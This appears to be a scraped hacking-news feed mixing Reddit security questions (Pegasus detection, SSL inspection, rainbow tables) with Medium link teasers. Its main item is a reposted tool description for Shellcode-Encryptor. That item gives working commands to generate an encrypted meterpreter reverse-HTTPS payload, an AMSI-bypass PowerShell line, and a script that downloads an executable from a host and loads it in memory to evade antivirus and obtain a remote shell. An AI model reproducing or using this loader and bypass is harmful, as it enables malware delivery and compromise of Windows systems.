hacking: security in practice
Reversible databending?

I've messed around with databending art before using stuff like audacity, but I've always wondered whether this process could be reversed to reveal the original image. Sort of as a security through obscurity take on steganography.

submitted by /u/0neEyedBirb
[link] [comments]

hacking: security in practice
Pegasus (Blue Team)

Has anyone detected Pegasus in the wild? How did you manage detecting it?

submitted by /u/oldjalepeno
[link] [comments]

hacking: security in practice
Can a p2p network be Ddosed

I’ve been thinking about this question for some time. Is it possible to crash a p2p network with attacks such as Ddosing?

submitted by /u/DarthPalpatine66
[link] [comments]

hacking: security in practice
School implementing SSL inspection

Recently we received an email from our IT department asking us to install a certificate on all our devices (laptops, phones etc.) in order to continue using the school WIFI. In the email it said they’ll be using this to implement SSL inspection to “protect the school network from cyber threats”. My school has a zero tolerance policy on VPNs but it’s always been an uphill battle for them with pupils always finding a VPN they can’t detect in order to access blocked services such as Snapchat at school. (Schools in the middle of nowhere with no mobile service so cellular data isn’t an option)

Is this potentially a way of them easily detecting VPNs? Is this even legal? Should we be worried?

submitted by /u/Franic_123
[link] [comments]

hacking: security in practice
Rainbow table torrents

I'm gearing up for another password policy compliance audit and wanted to give it a shot using a rainbow table on top of my usual John/Hashcat run.

The NTLM torrent I tried to grab from freerainbowtables.com seems to only have only peers (unless something is blocking the others) that are incomplete so everything stalls at 5-15%. Before I go out of my way to generate 400GB+ of data, are there any other good sources of NTLM tables?

If i use the text files from rainbow crack, which is just a list of rtgen commands, is there a good way to run it line by line (using eval is always sketchy but every line in the file checks out)?

submitted by /u/766972
[link] [comments]

Authentication Bypass & ATO
https://medium.com/@86karthikkarthik/authentication-bypass-ato-ebdc5da62c46?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi guys this is Karthik. I hope you all are doing good. I’m back with another interesting write-up “Authentication Bypass which leads to…Continue reading on Medium » (https://medium.com/@86karthikkarthik/authentication-bypass-ato-ebdc5da62c46?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Shellcode-Encryptor - A Simple Shell Code Encryptor/Decryptor/Executor To Bypass Anti Virus
http://www.kitploit.com/2022/01/shellcode-encryptor-simple-shell-code.html

___________________________
@hacking_Attack
@Hacking_Video

A simple shell code encryptor/decryptor/executor to bypass anti virus. Note: I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell (https://www.kitploit.com/search/label/PowerShell) as the most effective method.
Purpose To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus. Instructions Use the meterpreter_encryptor.py to create the encrypted base64 shellcode: root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.1 68.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuL mkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg Take the key and shellcode and insert it into ProcessInjector.cs (https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs) // decrypt the base64 payload
string payload = "sZkMii [etc...]";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec"; Compile the C# code into an executable (e.g., metInject.exe) and serve it via a web server. Inject the executable into a remote PowerShell process: # AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)

$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', ''))); Hopefully you will have a nice meterpreter (https://www.kitploit.com/search/label/Meterpreter) shell. Help msfconsole is listening on. -i LHOST, --lhost LHOST The local host that msfconsole is listening on. -p PAYLOAD, --payload PAYLOAD The payload to generate in msfvenom. -m METHOD, --method METHOD The method to use: thread/delegate. -k KEY, --key KEY The encryption (https://www.kitploit.com/search/label/Encryption) key (32 chars). -e ENCODER, --encoder ENCODER The meterpreter encoder. -f FORMAT, --format FORMAT The format to output.">./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]

optional arguments:

___________________________
@hacking_Attack
@Hacking_Video

-h, --help show this help message and exit
-l LPORT, --lport LPORT
The local port that msfconsole is listening on.
-i LHOST, --lhost LHOST
The local host that msfconsole is listening on.
-p PAYLOAD, --payload PAYLOAD
The payload to generate in msfvenom.
-m METHOD, --method METHOD
The method to use: thread/delegate.
-k KEY, --key KEY The encryption key (32 chars).
-e ENCODER, --encoder ENCODER
The meterpreter encoder.
-f FORMAT, --format FORMAT
The form at to output. AV Scan Results The binary was scanned using antiscan.me (https://antiscan.me/scan/new/result?id=gn0muzwLOUOc) on 03/10/2021.

___________________________
@hacking_Attack
@Hacking_Video

Notes Tested with windows/x64/meterpreter/reverse_https on Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Pro (build 10.0.19042) with Defender.

Download Shellcode-Encryptor (https://github.com/plackyhacker/Shellcode-Encryptor)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hping3 to Meet You on the Other Side of the Firewall

https://cdn-images-1.medium.com/max/620/0*clxTTA7eXka7cpDl.png
*Note: This article was originally published by the author on September 24, 2020.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Authentication Bypass & ATO

https://cdn-images-1.medium.com/max/1011/1*CIGBEI964gmuc2hckfxTJA.png
Hi guys this is Karthik. I hope you all are doing good. I’m back with another interesting write-up “Authentication Bypass which leads to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Questioning the Wisdom of Equipping Adversaries with Free Offensive Security Tools

https://cdn-images-1.medium.com/max/1920/0*5Udd5HwUbnhZl2ih.jpeg
*Note: This article was originally published by the author on July 19, 2020.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Scanning millions of domains and compromising the email supply chain of Australia's most respected institutions
https://www.reddit.com/r/redteamsec/comments/s0155r/scanning_millions_of_domains_and_compromising_the/

submitted by /u/Jumpy_Resolution3089 (https://www.reddit.com/user/Jumpy_Resolution3089)
[link] (https://caniphish.com/phishing-resources/blog/compromising-australian-supply-chains-at-scale) [comments] (https://www.reddit.com/r/redteamsec/comments/s0155r/scanning_millions_of_domains_and_compromising_the/)

___________________________
@hacking_Attack
@Hacking_Video